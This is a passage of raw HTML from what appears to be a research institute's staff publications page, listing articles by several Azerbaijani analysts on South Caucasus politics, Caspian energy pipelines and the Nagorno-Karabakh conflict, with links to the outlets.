Рилейшнз: взгляды, перспективы, материалы научного конфранса, /Тбилиси/2012</p><p style=\"text-align:justify\">“Azərbaycan xalq diplomatiyasının Dağlıq Qarabağ münaqişəsinin həllində imkanları”,/Scientific Conference materials, Baku/2012</p><p style=\"text-align:justify\">“Azərbaycanın xarici siyasətində ictimai diplomatiya elementləri”,/“Strateji təhlil” jurnalı, Baku,/2011</p><p style=\"text-align:justify\">“Beynəlxalq ictimai əlaqələr ictimai diplomatiya vasitəsi kimi”/“Dirçəliş” periodical, Baku/2011</p><p style=\"text-align:justify\">“Heydər Əliyev və Azərbaycan diplomatiyası”/Scientific conference materials, Baku /2010</p><p style=\"text-align:justify\">“Azərbaycan xarici siyasətində ictimaiyyətlə əlaqələr: ictimai diplomatiya”/Scientific conference materials, Baku/2009</p><p style=\"text-align:justify\">“Pablik Rileyşnz və ya ictimaiyyətlə əlaqələr strateji idarəçilik fəaliyyətidir”/“Qanun” scientific journal, Baku/2008</p><p style=\"text-align:justify\">“Demokratik dövlətdə ictimaiyyətlə əlaqələr”, “Dövlət idarəçiliyi və ictimaiyyətlə əlaqələr” “Xalq qəzeti”, “525-ci qəzet” periodicals, Baku/2002-2004</p><p style=\"text-align:justify\">“Beynəlxalq münasibətlər və Public Relations”, “Qanun” editorial house, Baku, 2007</p><p style=\"text-align:justify\"><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong style=\"text-align:justify\">Vasif Hüseynov</strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">Huseynov, V., 2018: “Revisiting the Ukraine Crisis: Realist Reflections on Causes and Consequences”, CES Working Papers (CESWP), Centre for European Studies, Alexandru Ioan Cuza University of Iasi.&nbsp;</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span>Huseynov, V., 2017: “Russia’s Shrinking Sphere of Influence: Steady Decline of a Great Power and its Implications for the International Security,” University of Oxford, available at: http://www.sant.ox.ac.uk/sites/default/files/universityconsortium/files/vasif_huseynov_russias_shrinking_ sphere_of_influence.pdf (accessed: 17 July 2017).&nbsp;</p><p style=\"text-align:justify\">Huseynov, V., 2016: “Soft Power Geopolitics: How Does the Diminishing Utility of Military Power Affect the West - Russia Confrontation over the ‘Common Neighbourhood,’” Eastern Journal of European Studies, Vol. 7, No. 2, pp. 71-90.&nbsp;</p><p style=\"text-align:justify\">Huseynov, V., 2015: “Post-Soviet Georgia’s Foreign Policy: Strategic Idealism and the Russian Challenge,” Caucasus International, Vol. 5, No. 3, pp. 117-131.</p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong style=\"text-align:justify\">Günay Bayramova</strong></p><p><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">Review of ‘Negotiating Armenian-Azerbaijani Peace: Opportunities, Obstacles, Prospects’ by Ohannes Geukjian, published in Political Studies Review, Volume 14, Issue 4, November 2016</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span>The Warsaw Euro-Atlantic Summer Academy (WEASA), organized by the College of Europe, the German Marshall Fund of the United States (GMF), and the Polish American Freedom Foundation, Warsaw, Poland, June 29 – July 10, 2015</p><p style=\"text-align:justify\">Review of ‘Regional Co-operation in the South Caucasus: Good Neighbours or Distant Relatives?’ by Tracey German was published in Political Studies Review, Volume 12, Issue 2, May 2014</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong style=\"text-align:justify\">Azad Q</strong><strong style=\"text-align:justify\">ə</strong><strong style=\"text-align:justify\">ribli</strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\">Garibov, A. and Frappi, C. (eds) (2014) Caspian&nbsp;Sea&nbsp;Chessboard:Geo-political,&nbsp;Geostrategic&nbsp;and&nbsp;Geo-economic&nbsp;Analysis,&nbsp;Egea Publications,&nbsp;Milan,&nbsp;242 pages, ISBN 978-88-238-4434-6</p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-top:5.0pt;margin-right:9.75pt;margin-bottom:5.0pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov&nbsp;A.&nbsp;(2014) ‘Militarization&nbsp;of Caspian&nbsp;Sea:Naval&nbsp;Build-Upand&nbsp;Conflicting&nbsp;Interests’</p><p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-top:5.0pt;margin-right:9.75pt;margin-bottom:5.0pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov&nbsp;A. and Frappi, Carlo (eds) Caspian&nbsp;Sea&nbsp;Chessboard:&nbsp;Geo-political,&nbsp;Geostrategic&nbsp;and&nbsp;Geo-economic&nbsp;Analysis,&nbsp;Egea Publications,&nbsp;Milan, pp.41-59</p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-top:5.0pt;margin-right:9.75pt;margin-bottom:5.0pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov&nbsp;A.&nbsp;(2014) ‘Caspian Naval Build-up: Militarization and Arms Race’, in Valigi, M.&nbsp; (ed) Caspian Security Issues: Conflicts, Cooperation and Energy Supplies (Social Sciences), Edizioni Epoke, Rome, pp. 85-100</p>\r\n<p class=\"gmail-msolistparagraphCxSpMiddle\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov, A. (2014) ‘Deterrence and Terrorism: Can Terrorism Be Deterred?’, Kazakhstan International Processes, Almaty, No: 4 (42), pp. 96-105, (in Russian). <a href=\"http://iwep.kz/files/attachments/article/2015-01-23/imep-4-2014.pdf\">Məqaləni oxu</a></p>\r\n<p class=\"gmail-msolistparagraphCxSpMiddle\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov, A. (2013) ‘Central Asia-Afghanistan Security Nexus: Post-2014 Perspectives’Caucasus International, Istanbul,Volume 3, No: 3,pp.61-70</p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov, A. (2013) ‘The US Post-9/11 Nuclear Strategy and Its Security Implications for Russia’, Geopolitica Magazine, Bucharest, Issue XI, No: 51 (2), pp. 100-107</p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov, A. (2013) ‘ The Caspian &nbsp;Corridor: &nbsp;Geopolitics &nbsp;of &nbsp;Transportation in the Region’, &nbsp;Kazakhstan &nbsp;in &nbsp;International &nbsp;Processes, Almaty, No: 3(37),&nbsp;pp.118-136 (in Russian). <a href=\"http://iwep.kz/files/attachments/article/2013-11-30/3-2013.pdf\">Məqaləni oxu</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov, A. (2012) ‘The Main Determinants of the US NATO Enlargement Policy and implications for the US-Russia relations’, Journal of Law and Politology, Kishinyov, Issue 2, pp. 49-54</p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Armenia and Azerbaijan Flex Military Muscles While Nagorno-Karabakh Peace Negotiations Stall, Eurasia Daily Monitor, Volume: 13 Issue: 190, December 5, 2016. <a href=\"https://jamestown.org/program/armenia-azerbaijan-flex-military-muscles-nagorno-karabakh-peace-negotiations-stall/#sthash.NEo9mCGt.XgjzA6kC.dpuf\">Məqaləni oxu</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Armenia’s dangerous posturing sabotages Nagorno-Karabakh peace efforts, EuroActiv, 15 November 15, 2016. <a href=\"https://www.euractiv.com/section/europe-s-east/opinion/armenias-dangerous-posturing-sabotages-nagorno-karabakh-peace-efforts/\">Məqaləni oxu</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Why the OSCE Keeps Failing to Make Peace in Nagorno-Karabakh, The National Interest, 11 May 2016. <a href=\"http://nationalinterest.org/blog/the-buzz/why-the-osce-keeps-failing-make-peace-nagorno-karabakh-16161?page=2\">Məqaləni oxu</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">The New Eurasian Drone Wars, The National Interest, 12 May 2016. <a href=\"http://nationalinterest.org/blog/the-buzz/the-new-eurasian-drone-wars-16176\">Məqaləni oxu</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Development of Transport Sector in Azerbaijan, Eurasia Daily Monitor, Volume: 13, Issue: 75, April 18, 2016. <a href=\"http://www.jamestown.org/single/?tx_ttnews%5Btt_news%5D=45332&amp;tx_ttnews%5BbackPid%5D=7&amp;cHash=2d5e7ca6a662279ad23eeacdc0f0145d#.VxXoEvmLTIW\">Məqaləni oxu</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Conclusions to be drawn from the four-day fight in Nagorno-Karabakh for the peace process, The Journal of Turkish Weekly, 09 April 2016. <a href=\"http://www.turkishweekly.net/2016/04/09/op-ed/conclusions-to-be-drawn-from-the-four-day-fight-in-nagorno-karabakh-for-the-peace-process/\">Məqaləni oxu</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">India in Central Asia: Time for a more comprehensive strategy?, The Journal of Turkish Weekly, 12 June 2013. <a href=\"http://www.turkishweekly.net/op-ed/3099/india-in-central-asia-time-for-a-more-comprehensive-strategy.html\">Məqaləni oxu</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">The U.S. in Central Asia: Still an important balancer?, The Journal of Turkish Weekly, 28 May 2013. <a href=\"http://www.turkishweekly.net/news/150929/the-u-s-in-central-asia-still-an-important-balancer.html\">Məqaləni oxu</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">China and Central Asia: A new game changer or an inevitable dominant?, The Journal of Turkish Weekly, 26 April 2013. <a href=\"http://www.turkishweekly.net/news/149550/china-and-central-asia-a-new-game-changer-or-an-inevitable-dominant.html\">Məqaləni oxu</a></p><p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\"><a href=\"http://www.turkishweekly.net/news/149550/china-and-central-asia-a-new-game-changer-or-an-inevitable-dominant.html\"></a>Russia and Central Asia: Do all Central Asian roads still lead to Russian?, The Journal of Turkish Weekly, 13 April 2013. <a href=\"http://www.turkishweekly.net/news/149055/russia-and-central-asia-do-all-central-asian-roads-still-lead-to-russia.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\">An ‘Undeclared Cold War’ in Central Asia?, World Affairs Journal, 5 June 2012. <a href=\"http://worldaffairsjournal.org/content/opinion-dam-debate-fuels-uzbekistan-tajikistan-%E2%80%98undeclared-cold-war%E2%80%99\">Məqaləni oxu<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong style=\"text-align:justify\">Cavid Vəliyev</strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">From Alliance to Integration: The Turkey-Azerbaijan-Georgia Triangle, “Jamestown”, 11 March, 2014. <a href=\"http://www.jamestown.org/single/?tx_ttnews%5Btt_news%5D=42079&amp;tx_ttnews%5BbackPid%5D=390&amp;cHash=0aadc80f1a3eeac8381edd201c8476b7#.U0KU3PmSyWk\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">Azerbaijan’s Approach to the Crimean Crisis, “Jamestown”<strong> </strong>17 April, 2014. <a href=\"http://www.jamestown.org/single/?tx_ttnews%5Btt_news%5D=42245&amp;no_cache=1#.U7ZX1vmSyWk\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">Different views on Turkey-Armenian border issue, (19 november, 2014). <a href=\"http://www.hurriyetdailynews.com/different-views-on-turkey-armenia-border-issue.aspx?pageID=449&amp;nID=74506&amp;NewsCatID=396\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:22.5pt;text-indent:-.25in;line-height:normal\"=\"\">Azerbaijan-Georgia-Turkey Triangle: main characters of cooperation. In: \"Caucasus International\", Istanbul, 2015, vol. 5, № 3</p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">\"Islamic world needs to be in solidarity to struggle against the Terrorism\", 7th Islamic World Forum, book.&nbsp; (TASAM, İstanbul 2016).</p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Connecting Afghanistan world market via Azerbaijan\", The Heart of Asia. Conference book. 2016. (ICWA, New Delhi, 2016)</p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in;line-height:14.4pt;background:white\"\"=\"\">Can Trump Shake Up the South Caucasus?&nbsp;(18.12.2016). <a href=\"http://nationalinterest.org/feature/can-trump-shake-the-south-caucasus-18774\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in;line-height:14.4pt;background:white\"\"=\"\">Why are UNSC resolutions on Nagorno Karabakh not implemented?&nbsp;(23.01.2017). <a href=\"http://www.hurriyetdailynews.com/Default.aspx?pageID=238&amp;nID=108833&amp;NewsCatID=396\">Məqaləni oxu</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong style=\"text-align:justify\">İ</strong><strong style=\"text-align:justify\">lqar Qurbanov</strong></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"TAP’s Fate after the Italian Referendum\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 198. <a href=\"https://jamestown.org/program/taps-fate-italian-referendum/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Azerbaijan’s SOCAR Interested in Buying a Stake in Georgia’s Oil &amp; Gas Corporation\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 191. <a href=\"https://jamestown.org/program/azerbaijans-socar-interested-buying-stake-georgias-oil-gas-corporation/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Perspectives for Israeli Gas in Southern Gas Corridor Hampered by Economic Limitations\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 186. <a href=\"https://jamestown.org/program/perspectives-israeli-gas-southern-gas-corridor-hampered-economic-limitations/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Armenia seeks to boost its role in the Iran-Georgia gas talks\", The CACI Analyst, 2016. <a href=\"http://cacianalyst.org/publications/analytical-articles/item/13404-armenia-seeks-to-boost-its-role-in-the-iran-georgia-gas-talks.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Ex-Gazprom man takes over the legacy of Armenia’s problems\", The Times of Israel, 2016.<a href=\"http://blogs.timesofisrael.com/?p=496918&amp;preview=true\"> Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"SOCAR’s Complicated DESFA Deal Faces New Setbacks\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 153. <a href=\"https://jamestown.org/program/socars-complicated-desfa-deal-faces-new-setbacks/#.V-ROy63YGtQ\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Russia Pushes ‘Gas Swap’ Plans With Iran Amidst Azerbaijan-Iran Gas Talks\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 145. <a href=\"https://jamestown.org/program/russia-pushes-gas-swap-plans-with-iran-amidst-azerbaijan-iran-gas-talks/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Azerbaijan: Europeanisation Versus Real-Politics\", in the book of \"Dilemmas of Europeanisation: Political Choices and Economic Transformations in the Eastern Partnership Countries\" (Latvian Institute of International Affairs, Riga), 2016, pp.95-123. <a href=\"http://liia.lv/en/publications/dilemmas-of-europeanisation-political-choices-and-economic-transformations-in-the-eastern-partnership-countries-534\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Turkey-Russia Rapprochement and Prospects for Turkish Stream”, The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 140. <a href=\"https://jamestown.org/program/turkey-russia-rapprochement-and-prospects-for-turkish-stream/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Southern Gas Corridor Gains New Momentum\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13 Issue 108. <a href=\"https://jamestown.org/program/southern-gas-corridor-gains-new-momentum/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Georgia\'s Endeavours for Alternative Gas Supply: Implications for the regional Energy Map\", European Centre for Energy and Resource Security, King’s College London, Issue 54, May 2016, pages 5-9. <a href=\"http://www.kcl.ac.uk/sspp/departments/warstudies/research/groups/eucers/newsletter/newsletter54.pdf\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Iranian gas in Georgia. A feasible option?\", New Eastern Europe, 27.05.2016. <a href=\"http://neweasterneurope.eu/articles-and-commentary/2009-iranian-gas-in-georgia-a-feasible-option\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Four-Day Karabakh War Highlights Threats to Energy Security on NATO’s Southeastern Flank\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 100. <a href=\"https://jamestown.org/program/four-day-karabakh-war-highlights-threats-to-energy-security-on-natos-southeastern-flank/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Nuclear alarm from Armenia\", Euractiv.com, 20.05.2016. <a href=\"http://www.euractiv.com/section/all/opinion/nuclear-alarm-from-armenia/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The Frozen War That Threatens Global Energy Flows”, The National Interest, May 2016. <a href=\"http://nationalinterest.org/feature/the-frozen-war-threatens-global-energy-flows-16136\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Falling Oil Prices and Its Implications for Azerbaijan’s Gas Policy\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 44. <a href=\"https://jamestown.org/program/falling-oil-prices-and-its-implications-for-azerbaijans-gas-policy/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Importance of NATO’s Engagement in Critical Energy Infrastructure Protection in the South Caucasus”, Caucasus International Journal, Vol. 5, No. 3, Winter 2015, pages 89-100. <a href=\"http://cijournal.az/post/importance-of-natos-engagement-in-critical-energy-infrastructure-protection-in-the-south-caucasus-ilgar-gurbanov\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Post-sanctions Iran: Implications for the Southern Gas Corridor and Opportunities for Azerbaijan”, European Centre for Energy and Resource Security, King’s College London, Issue 49, Oct/Nov. 2015, pages 4-8. <a href=\"http://www.kcl.ac.uk/sspp/departments/warstudies/research/groups/eucers/newsletter49.pdf\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Azerbaijan’s Strategic Importance for Europe and the Parliamentary Elections”, New Europe, 2015, p.15. <a href=\"http://neurope.eu/article/azerbaijans-strategic-importance-for-europe-and-the-parliamentary-elections/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Trans-Caspian Pipeline conundrum: Turkmenistan, Quo-Vadis?”, The Geostrategic Maritime Review Journal, No.5, Fall/Winter Issue 2015. <a href=\"http://igmobservatory.org/geostrategic-maritime-review/gmr-n5-fallwinter-2015/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Financial or Production Shortages of SOCAR?: Backstage of Recent Gas Deal with Russia’s Gazprom”, Energy Corridors Review, 2015. <a href=\"https://energycorridors.wordpress.com/2015/10/05/financial-or-production-shortages-of-socar-backstage-of-recent-gas-deal-with-russias-gazprom/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Greece appeared a “Gordian Knot” for Azerbaijan’s SOCAR”,Energy Corridors Review, 2015. <a href=\"https://energycorridors.wordpress.com/2015/09/15/greece-appeared-a-gordian-knot-for-azerbaijans-socar/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“NATO Wales Summit: Failure or Success Story?”, Atlantic Voices, June 2015, pages 12-13. <a href=\"http://issuu.com/atlantic_treaty_association/docs/special_issue_june_2015/12\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Removal of sanctions from Iran: What does it promise for the Southern Gas Corridor?”,Natural Gas Europe, 2015. <a href=\"http://www.naturalgaseurope.com/removal-of-iran-sanctions-and-southern-gas-corridor-23389\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Resurrection of Nabucco Pipeline: Real or Myth?”, Newtimes.az, 2015. <a href=\"http://newtimes.az/en/politics/3485/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Repercussions of Turkish Stream for the Southern Gas Corridor: Russia\'s New Gas Strategy”, Caspian Centre for Energy and Environment, 2015. <a href=\"http://ccee.ada.edu.az/files/articles/1956/CCEE%20Policy%20Brief-15--final.pdf\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Gas Policy of Greece under New Government: Russia, Turkic Stream and Diversification”, Newtimes.az, 2015. <a href=\"http://newtimes.az/en/politics/3406/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The New Greek Government: Implications for Azerbaijan\'s DESFA Purchase”, Caspian Centre for Energy and Environment, 2015. <a href=\"http://ccee.ada.edu.az/files/articles/1870/CCEE%20Policy%20Brief-12--final.pdf\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Will the LNG save the EU[rope]?”, Newtimes.az, 2015. <a href=\"http://newtimes.az/en/politics/3360/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“In the Search of New Partners: Putin’s Turkic Stream for Turkey”, Natural Gas Europe, 2015. <a href=\"http://www.naturalgaseurope.com/new-partners-putin-turkish-stream-turkey\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Who buried South Stream and Why?: EU or Russia?”, GW Post, 2014. <a href=\"http://thegwpost.com/2014/12/18/who-buried-the-south-stream-and-why-the-eu-or-russia/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Implications of the Demise of South Stream for Southern Gas Corridor”, Strategic Outlook, 2014. <a href=\"http://www.strategicoutlook.org/caucasus/news-implications-of-the-demise-of-south-stream-for-southern-gas-corridor.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Iraqi Gas in the Light of Recent Geopolitical Turbulences”, Newtimes.az, 2014. <a href=\"http://newtimes.az/en/politics/3187/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Perspective of the Eastern Mediterranean natural gas for the EU: Challenges for the Fifth Energy Corridor”, Newtimes.az, 2014. <a href=\"http://newtimes.az/en/politics/3168\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Never-ending Story of the Caspian: Legal Status, Astrakhan Summit and not only”, Newtimes.az, 2014. <a href=\"http://newtimes.az/en/politics/3108#.VE9wLecrkM0.facebook\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Legal knot in the Caspian Sea: Hard to Untie”, Strategic Outlook, 2014. <a href=\"http://strategicoutlook.org/publications/Legal%20knot%20in%20the%20Caspian%20Sea%20Hard%20to%20Untie.pdf\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The Civilian Crisis Management Policy of the EU in Afghanistan: Challenges for Police Mission”, Strategic Outlook, 2014. <a href=\"http://www.strategicoutlook.org/publications/EUPOL_Afghanistan.pdf\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The Militarization of the Caspian Sea is Inevitable: Cooperation is Needed”, BILGESAM, 2013. <a href=\"http://www.bilgesam.org/en/incele/447/-the-militarization-of-the-caspian-sea-is-inevitable--cooperation-is-needed/#.VC154fl_v6o\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Between TAP and Nabucco: Who is the “WINNER” of pipeline selection? – Azerbaijan or Russia?”, BILGESAM, 2013. <a href=\"http://www.bilgesam.org/en/incele/448/-between-tap-and-nabucco--who-is-the-%C2%93winner%C2%94--azerbaijan-or-russia-/#.VC157fl_v6o\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Armenia is still a “Forpost”, but Azerbaijan is getting “New Choice” for Russia”, Strategic Outlook, 2013. <a href=\"http://www.strategicoutlook.org/caucasus/news-armenia-is-still-a-forpost-but-azerbaijan-is-getting-new-choice-for-rubia.html#.Ug5YjF3afVU.facebook\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Russia-EU Energy Relations: From Cooperation toward Contradictions”, BILGESAM, 2013. <a href=\"http://www.bilgesam.org/en/incele/428/-russia-eu-energy-relations--from-cooperation-toward-contradictions/#.VC157vl_v6o\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Post-Shah Deniz II Period: Challenges that Azerbaijan may face”, BILGESAM, 2013. <a href=\"http://www.bilgesam.org/en/incele/449/-post-shah-deniz-ii-period--challenges-that-azerbaijan-may-face/#.VC157_l_v6o\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Armenia as a Strategic Satellite of Russia in the South Caucasus”, New Eastern Europe Journal, Issue 3(VIII), 2013, pg.82. <a href=\"http://www.neweasterneurope.eu/past-issue/1014-issue/1018-3-viii-2013-why-culture-matters\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Energy Conflicts in the Energy Sub-Hubs of Eurasia: How to get rid of it?”, The Diplomatic Insight Journal, August issue, page 19-20. <a href=\"http://thediplomaticinsight.com/magazine/july2013/#/18\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Plan – B: RESET of the “Zero Problems with Neighbours” Principle”, Strategic Outlook, 2013. <a href=\"http://www.strategicoutlook.org/turkish-foreign-policy/news-plan---b--reset-of-the-%E2%80%9Czero-problems-with-neighbors%E2%80%9D-principle.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Energy in Russian Foreign Policy: Soft Power, Hard 